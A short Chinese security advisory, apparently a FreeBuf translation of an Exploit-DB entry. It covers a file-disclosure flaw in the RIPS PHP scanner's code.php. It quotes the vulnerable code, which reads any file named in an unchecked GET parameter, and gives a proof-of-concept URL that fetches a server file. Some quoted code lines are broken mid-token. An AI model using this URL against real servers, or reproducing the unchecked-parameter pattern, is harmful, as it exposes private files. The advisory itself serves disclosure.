RIPS是一个用php编写的源代码分析工具,它使用了静态分析技术,能够自动化地挖掘PHP源代码潜在的安全漏洞。渗透测试人员可以直接容易的审阅分析结果,而不用审阅整个程序代码。

由于静态源代码分析的限制,漏洞是否真正存在,仍然需要代码审阅者确认。RIPS能够检测XSS、SQL注入、文件泄露、Header Injection漏洞等。

官方网站:http://rips-scanner.sourceforge.net/

在RIPS的code.php文件中:

$file = $_GET['file'];
$marklines = explode(',', $_GET['lines']);
$ext = '.'.pathinfo($file, PATHINFO_EXTENSION);


if(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))
{
    $lines = file($file);
    
    // place line numbers in extra table for more elegant copy/paste
out line numbers
    echo '<tr><td><table>';
    for($i=1, $max=count($lines); $i<=$max;$i++)
        echo "<tr><td class=\"linenrcolumn\"><span
s=\"linenr\">$i</span><A id='".($i+2).'\'></A></td></tr>';
    echo '</table></td><td id="codeonly"><table id="codetable" width="100%">';
    
    $in_comment = false;
    for($i=0; $i<$max; $i++)
    {               
        $in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);
    }
} else
{
    echo '<tr><td>Invalid file specified.</td></tr>';
}

存在文件包含漏洞

利用如下所示:

http://localhost/rips/windows/code.php?file=/var/www/html/index.php

*原文地址:Exploit-DB ,我是酱油男编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...